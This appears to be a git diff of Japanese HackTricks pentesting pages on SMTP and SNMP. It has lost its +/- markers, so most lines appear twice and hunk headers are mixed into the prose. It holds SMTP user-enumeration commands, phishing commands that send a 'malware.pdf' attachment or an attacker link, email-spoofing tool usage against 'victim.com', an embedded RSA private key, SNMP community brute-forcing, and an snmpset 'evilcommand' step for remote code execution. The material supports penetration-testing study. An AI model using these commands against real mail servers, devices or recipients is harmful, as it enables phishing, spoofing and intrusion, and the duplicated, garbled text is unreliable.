### 内部サーバー名 - 情報漏洩
一部のSMTPサーバーは、送信者のアドレスを完全なアドレスなしでコマンド「MAIL FROM」が発行された場合に自動補完し、内部名を漏洩します。
一部のSMTPサーバーは、送信者のアドレスを完全なアドレスなしでコマンド "MAIL FROM" が発行された場合に自動的に補完し、内部名を漏洩します。
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
@ -134,7 +133,7 @@ RCPT TO:ed
```
### VRFY
VRFYVerifyコマンドは、SMTPサーバーで特定のユーザーが存在するかどうかを確認するために使用されます。攻撃者はこのコマンドを使用して、ユーザー名を照会し、システム内の有効なユーザー名を特定することができます。この情報は、次の段階の攻撃に活用される可能性があります。
VRFYVerifyコマンドは、SMTPサーバーで特定のユーザー名が有効かどうかを確認するために使用されます。攻撃者はこのコマンドを使用して、ユーザー名の有効性をテストし、情報収集を行うことができます。 VRFYコマンドは一部のサーバーで無効になっている場合がありますが、有効な場合は慎重に使用する必要があります。
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
@ -152,7 +151,7 @@ VRFY blah
```
### EXPN
**EXPAND**コマンドは、SMTPサーバー上のメーリングリストを拡張して表示します。これにより、攻撃者は有効なメールアドレスを取得できる可能性があります。
**EXPAND**コマンドは、SMTPサーバーがメーリングリストのメンバーを表示するために使用することができます。攻撃者は、このコマンドを使用してメーリングリストのメンバーを取得し、その情報を悪用する可能性があります。
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
@ -183,31 +182,25 @@ Nmap: nmap --script smtp-enum-users <IP>
## DSNレポート
**配信ステータス通知レポート**:組織に**無効なアドレス**に**メール**を送信した場合、組織はそのアドレスが無効であることを通知し、**あなたにメールを返送**します。返送されたメールの**ヘッダー**には、レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェア情報などの**機密情報**が含まれる可能性があります。
**配信ステータス通知レポート**:組織に**無効なアドレス**に**メール**を送信した場合、組織はそのアドレスが無効であることを通知し、**あなたにメールを返送**します。返送されたメールの**ヘッダー**には、レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェア情報などの**機密情報**が含まれる可能性があります。
## [コマンド](smtp-commands.md)
### Linuxコンソールからメールを送信
```
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.
Sincerely,
<phishing message>
```
```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
### Pythonを使用してメールを送信する
以下はPythonスクリプトを使用してメールを送信する別の方法です。
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
@ -252,35 +245,37 @@ print("[***]successfully sent email to %s:" % (msg['To']))
```
## メールスプーフィング対策
組織は、SMTPメッセージのスプーフィングが容易であるため、**SPF**、**DKIM**、および**DMARC**を使用して、権限のないメールが自身の代わりに送信されるのを防ぎます。
組織は、SMTPメッセージのスプーフィングが容易であるため、**SPF**、**DKIM**、および**DMARC**を使用して、自分の代わりに許可されていないメールを送信されることを防いでいます。
これらの対策の**完全なガイド**は、[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で提供されています。
### SPF
{% hint style="danger" %}
SPFは2014年に「非推奨」となりました。これは、`_spf.domain.com`ではなく、`domain.com`で**同じ構文**を使用してTXTレコードを作成する必要があることを意味します。\
SPFは2014年に「非推奨」となりました。これは、`_spf.domain.com`ではなく、`domain.com`で**同じ構文**を使用してTXTレコードを作成する必要があることを意味します。\
さらに、以前のSPFレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものをよく見つけることが一般的です。
{% endhint %}
**Sender Policy Framework**SPFは、メール転送エージェントMTAが、組織が定義した認証されたメールサーバーのリストをクエリして、メールを送信するホストが認証されているかどうかを検証する仕組みです。このリストには、IPアドレス/範囲、ドメイン、および他のエンティティが含まれ、**ドメイン名を代表してメールを送信することが許可されている**さまざまな**メカニズム**がSPFレコードに含まれています。
**Sender Policy Framework**SPFは、メール転送エージェントMTAが、組織によって定義された許可されたメールサーバーのリストをクエリして、メールを送信するホストが許可されているかどうかを検証する仕組みです。このリストには、IPアドレス/範囲、ドメイン、および他のエンティティが含まれ、**ドメイン名を代表してメールを送信することが許可されている**さまざまな**メカニズム**がSPFレコードに含まれています。
#### メカニズム
[Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework)から:
| メカニズム | 説明 |
| --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | 常に一致します。前のメカニズムで一致しなかったすべてのIPに対して`-all`のようなデフォルトの結果に使用されます。 |
| ALL | 常に一致します。以前のメカニズムに一致しないすべてのIPに対して`-all`のようなデフォルトの結果に使用されます。 |
| A | ドメイン名に送信者のアドレスに解決できるアドレスレコードAまたはAAAAがある場合、一致します。 |
| IP4 | 送信者が指定されたIPv4アドレス範囲にある場合、一致します。 |
| IP6 | 送信者が指定されたIPv6アドレス範囲にある場合、一致します。 |
| IP4 | 送信者が特定のIPv4アドレス範囲にある場合、一致します。 |
| IP6 | 送信者が特定のIPv6アドレス範囲にある場合、一致します。 |
| MX | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致しますつまり、メールはドメインの受信メールサーバーの1つから送信されます。 |
| PTR | クライアントのアドレスのためのドメイン名PTRレコードが指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決される場合フォワード確認逆引きDNS、一致します。このメカニズムは非推奨であり、可能な限り避けるべきです。 |
| PTR | クライアントのアドレスのためのドメイン名PTRレコードが指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決される場合フォワード確認逆引きDNS、一致します。このメカニズムは非推奨であり、可能な限り避けるべきです。 |
| EXISTS | 指定されたドメイン名がどのアドレスに解決されても一致します。これはほとんど使用されません。SPFマクロ言語とともに使用すると、DNSBLクエリなどのより複雑な一致が提供されます。 |
| INCLUDE | 他のドメインのポリシーを参照します。そのドメインのポリシーが合格した場合、このメカニズム合格します。ただし、含まれるポリシーが失敗した場合、処理は続行されます。別のドメインのポリシーに完全に委任するには、リダイレクト拡張機能を使用する必要があります。 |
| REDIRECT | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名を指すポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。大量のドメインで同じメールインフラストラクチャを共有する場合に便利です。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> |
| INCLUDE | 他のドメインのポリシーを参照します。そのドメインのポリシーが合格した場合、このメカニズム合格します。ただし、含まれるポリシーが失敗した場合、処理は続行されます。別のドメインのポリシーに完全に委任するには、リダイレクト拡張機能を使用する必要があります。 |
| REDIRECT | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名を指すポインタであり、複数のドメインが同じSPFポリシーを共有する場合に便利です。大量のドメインで同じメールインフラストラクチャを共有する場合に役立ちます。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> |
また、**メカニズムが一致した場合の処理方法を示す** **クオリファイア**を識別することも可能です。デフォルトでは、**クオリファイア "+"**が使用されます(つまり、どのメカニズムが一致しても許可されることを意味します)。\
通常、**各SPFポリシーの最後に**次のようなものがあることに注意してください:**\~all**または**-all**。これは、**送信者がどのSPFポリシーにも一致しない場合、メールを信頼できない\~)としてタグ付けするか、メールを拒否(-)する必要があることを示すために使用されます。**
また、**メカニズムが一致した場合に** **何をすべきかを示す** **クオリファイア**を識別することも可能です。デフォルトでは、**クオリファイア "+"**が使用されます(つまり、どのメカニズムが一致しても許可されることを意味します)。\
通常、**各SPFポリシーの最後に** **\~all**または**-all**のようなものが記載されています。これは、**送信者がどのSPFポリシーにも一致しない場合、メールを信頼できない\~)としてタグ付けするか、メールを拒否(-)する必要があることを示すために使用されます。**
#### クオリファイア
@ -310,15 +305,15 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
従来、正確な/存在しないSPFレコードを持たないドメイン名をスプーフィングすることが可能でした。**現在では**、**有効なSPFレコードのないドメインからの電子メール**はおそらく**自動的に拒否される/信頼されないとマークされる可能性があります**。
伝統的には、正しい/存在しないSPFレコードを持たないドメイン名をスプーフィングすることが可能でした。**現在では**、**有効なSPFレコードのないドメインからの電子メール**はおそらく**自動的に拒否される/信頼されないとマークされる可能性があります**。
ドメインのSPFをチェックするには、[https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)のようなオンラインツールを使用できます。
ドメインのSPFを確認するには、[https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)のようなオンラインツールを使用できます。
### DKIMDomainKeys Identified Mail
DKIMは、送信メールに署名を付けるために使用され、外部のメール転送エージェントMTAがDNSからドメインの公開鍵を取得して検証できるようにします。この公開鍵は、ドメインのTXTレコードに格納されています。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。
たとえば、鍵をリクエストするには、ドメイン名とセレクタが必要です。これらはメールヘッダー`DKIM-Signature`で見つけることができます。例:`d=gmail.com;s=20120113`。
たとえば、鍵をリクエストするには、ドメイン名とセレクタが必要です。これらはメールヘッダー`DKIM-Signature`で見つけることができます。例:`d=gmail.com;s=20120113`。
この情報を取得するためのコマンドは次のようになります:
```bash
@ -350,8 +345,8 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| -------- | --------------------------------------------- | ------------------------------- |
| v | プロトコルバージョン | v=DMARC1 |
| pct | フィルタリングされるメッセージの割合 | pct=20 |
| ruf | 法的報告用の報告URI | ruf=mailto:authfail@example.com |
| rua | 集計レポートの報告URI | rua=mailto:aggrep@example.com |
| ruf | 法的レポートのための報告URI | ruf=mailto:authfail@example.com |
| rua | 集計レポートの報告URI | rua=mailto:aggrep@example.com |
| p | 組織ドメインのポリシー | p=quarantine |
| sp | ODのサブドメインのポリシー | sp=reject |
| adkim | DKIMのアライメントモード | adkim=s |
@ -360,28 +355,26 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **サブドメインについては?**
**こちら**から。\
送信元のメールアドレスに対して送信する各サブドメインには、それぞれ別々のSPFレコードが必要です。\
送信元の各サブドメインには、それぞれ独自のSPFレコードが必要です。\
以下は、元々openspf.orgに投稿されたもので、この種の情報には非常に役立つリソースでした。
> デーモンの質問: サブドメインについてはどうですか?
> デーモンの質問サブドメインについてはどうですか?
>
> pielovers.demon.co.ukからメールを受け取った場合、pieloversに対するSPFデータがない場合、demon.co.ukのSPFをテストすべきですかいいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っているかもしれません。Demonのポリシーがデフォルトですべての顧客に適用されるのは意味がありません。Demonがそれを行いたい場合は、各サブドメインのためにSPFレコードを設定できます。
> pielovers.demon.co.ukからメールを受け取った場合、pieloversにSPFデータがない場合、demon.co.ukのSPFをテストすべきですか いいえ。 Demonの各サブドメインは異なる顧客であり、各顧客には独自のポリシーがあるかもしれません。 Demonのポリシーがデフォルトですべての顧客に適用されるのは意味がありません。 Demonがそれを行いたい場合は、各サブドメインのためにSPFレコードを設定できます。
>
> したがって、SPFパブリッシャーへのアドバイスは次のとおりですAレコードまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。
> したがって、SPFパブリッシャーへのアドバイスは次のとおりですAレコードまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。
これは理にかなっています - サブドメインは異なる地理的位置にあり、非常に異なるSPF定義を持っている可能性があります。
### **オープンリレー**
**受信者に信頼されるリレーサーバー**の使用は、送信されたメールがスパムとしてマークされず、意図した宛先に到達することを確実にする戦略となり得ます。ただし、管理者が許可すべき**IP**範囲について詳細な理解を欠いていることがしばしば観察されています。この知識の欠如は、SMTPサーバーの誤構成につながる可能性があり、これは外部および内部の侵入テストで一般的に発見される脆弱性です。この問題を回避し、潜在的および既存の顧客との電子メールコミュニケーションを誤って妨げることを避けるために、管理者はすべてのIPアドレスを許可することを選択するかもしれません。このアプローチは、SMTPサーバーの構成に反映され、`mynetworks`パラメータが任意のIPアドレスからの接続を許可するように設定されています:
電子メールを送信する際、スパムとしてフラグ付けされないようにすることは非常に重要です。これは、**受信者に信頼されるリレーサーバー**を使用して実現されることがよくあります。ただし、一般的な課題は、管理者が**どのIP範囲を許可するのが安全か完全に把握していない**可能性があります。この理解の欠如は、SMTPサーバーの設定に誤りを引き起こす可能性があり、セキュリティアセスメントで頻繁に特定されるリスクです。
特に潜在的な顧客や進行中のクライアントとのコミュニケーションに関する電子メール配信の問題を回避するために、一部の管理者が使用する回避策は、**任意のIPアドレスからの接続を許可する**ことです。これは、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。
```bash
mynetworks = 0.0.0.0/0
```
以下は、IPアドレス10.10.10.10のサーバーのポート25をスキャンするために`nmap`がどのように使用されるかを示すコマンドです。詳細な出力を提供します。
```bash
nmap -p 25 --script smtp-open-relay -v 10.10.10.10
```
以下は、メールサーバーがオープンリレーであるかどうかをチェックするために一般的に使用される`nmap`ツールについてです。これには、これをテストするために設計された特定のスクリプトが含まれています。`nmap`を使用して、サーバーたとえば、IPが10.10.10.10の場合のポート25で詳細なスキャンを実行するコマンドは次の通りです
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -394,11 +387,11 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
* [**https://emkei.cz/**](https://emkei.cz/)\*\*\*\*
* [**https://emkei.cz/**](https://emkei.cz/)
**またはツールを使用することもできます:**
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)\*\*\*\*
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
@ -406,8 +399,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
dkim pythonライブラリを使用してキーを解析する際にエラーが発生した場合は、以下のキーを使用してください。\
**注意**: これは、何らかの理由でopensslの秘密キーがdkimによって解析できない場合に、素早くチェックを行うための一時的な修正です。
dkim pythonライブラリを使用してる際にエラーが発生した場合は、以下のキーを使用してください。\
**注意**: これは、何らかの理由でopensslの秘密がdkimによって解析できない場合に、素早くチェックを行うための一時的な修正です。
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
@ -512,15 +505,15 @@ s.sendmail(sender, [destination], msg_data)
## SMTPを介した情報の持ち出し
**SMTPを介してデータを送信できる場合は、**[**こちらを読んでください**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**。**
**SMTPを介してデータを送信できる場合は、**[**こちらを参照してください**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**。**
## 設定ファイル
### Postfix
通常、インストールされている場合、`/etc/postfix/master.cf`には、例えばユーザーが新しいメールを受信したときに実行される**スクリプトが含まれています。** たとえば、`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`という行は、ユーザーmarkが新しいメールを受信した場合に`/etc/postfix/filtering`が実行されることを意味します。
通常、インストールされている場合、`/etc/postfix/master.cf`には、例えばユーザーが新しいメールを受信したときに実行される**スクリプト**が含まれています。たとえば、`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`という行は、ユーザーmarkが新しいメールを受信した場合に`/etc/postfix/filtering`が実行されることを意味します。
その他の設定ファイル:
その他の設定ファイル
```
sendmail.cf
submit.cf
@ -582,19 +575,19 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
```
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**脆弱性評価ペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペネトレーションテストを実行します。私たちはペネトレーションテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイテーションモジュールを開発しています。
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学びましょう</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **をチェックしてください!**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **をフォローする。**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出する。**
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -4,31 +4,31 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れま
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
# Ciscoネットワークのペンテスト
SNMPはコンピューターネットワーク上のデバイスの状態を監視するために使用されるプロトコルです。UDPトランスポート層プロトコル上で動作し、ポート番号161/UDPおよび162/UDPで動作します。
SNMPはコンピューターネットワーク上のデバイスの状態を監視するために使用されるプロトコルです。ポート番号161/UDPおよび162/UDPで動作するUDPトランスポート層プロトコルです。
SNMPはコミュニティ文字列を使用し、これらはSNMPエージェントとサーバー間の通信のパスワードとして機能します。これらのコミュニティ文字列は**読み取り専用ROまたは読み書き可能RW権限**を付与します。ペンテスターは、ネットワーク機器にアクセスするためにSNMPを**ブルートフォース攻撃**することができます。
SNMPはコミュニティストリングを使用し、これはSNMPエージェントとサーバー間の通信のパスワードとして機能します。これらのコミュニティストリングは**読み取り専用ROまたは読み書き可能RW権限**を付与します。ペンテスターは、ネットワーク機器にアクセスするために**コミュニティストリングを総当たり攻撃**することでSNMPを悪用することができます。
コミュニティ文字列のブルートフォース攻撃を実行するためには、**[onesixtyone](https://github.com/trailofbits/onesixtyone)**を使用することができます。このツールにはブルートフォース用の辞書と対象ホストのIPアドレスが必要です
コミュニティストリングに対する総当たり攻撃を実行するためには、**[onesixtyone](https://github.com/trailofbits/onesixtyone)**を使用することができます。このツールには総当たり攻撃用の辞書とターゲットホストのIPアドレスが必要です。
```bash
onesixtyone -c communitystrings -i targets
```
### `cisco_config_tftp`
Metasploitフレームワークの`cisco_config_tftp`モジュールを使用すると、**コミュニティ文字列の値を知っていれば**、**デバイス構成**を取得できます。**読み書きRW権限を持つ**コミュニティ文字列が必要です。
Metasploitフレームワークの`cisco_config_tftp`モジュールを使用すると、**コミュニティストリングの値を知っていれば**、デバイスの構成を取得できます。**読み書きRW権限を持つ**コミュニティストリングが必要です。
以下のパラメータが必要です:
- RWコミュニティ文字列COMMUNITY
- RWコミュニティストリングCOMMUNITY
- 攻撃者のIPアドレスLHOST
- ターゲット機器のIPアドレスRHOSTS
- デバイス構成の出力ディレクトリのパスOUTPUTDIR
@ -43,7 +43,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
```
# 参考文献
## 参考文献
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
@ -51,10 +51,10 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手してください
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -1,48 +1,48 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
# SNMP RCE
SNMPは、デバイスやサーバーのデフォルト設定を管理者が見落とした場合、攻撃者によって悪用される可能性があります。Linuxオペレーティングシステム上で**書き込み権限を持つSNMPコミュニティrwcommunityを悪用する**ことにより、攻撃者はサーバー上でコマンドを実行することができます。
SNMPは、管理者がデバイスやサーバーのデフォルト構成を見落とした場合に、攻撃者によって悪用される可能性があります。Linuxオペレーティングシステム上で **書き込み権限rwcommunityを持つSNMPコミュニティを悪用** することで、攻撃者はサーバー上でコマンドを実行できます。
## 追加コマンドでサービスを拡張する
SNMPサービスを拡張し、追加のコマンドを追加するには、新しい**行を"nsExtendObjects"テーブルに追加する**ことが可能です。これは、`snmpset`コマンドを使用し、実行可能ファイルへの絶対パスと実行するコマンドを含む必要なパラメータを提供することで達成できます。
SNMPサービスを拡張し、追加のコマンドを追加するには、新しい **"nsExtendObjects" テーブルに行を追加** することが可能です。これは、`snmpset`コマンドを使用し、実行可能ファイルへの絶対パスや実行するコマンドなどの必要なパラメータを提供することで達成できます。
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
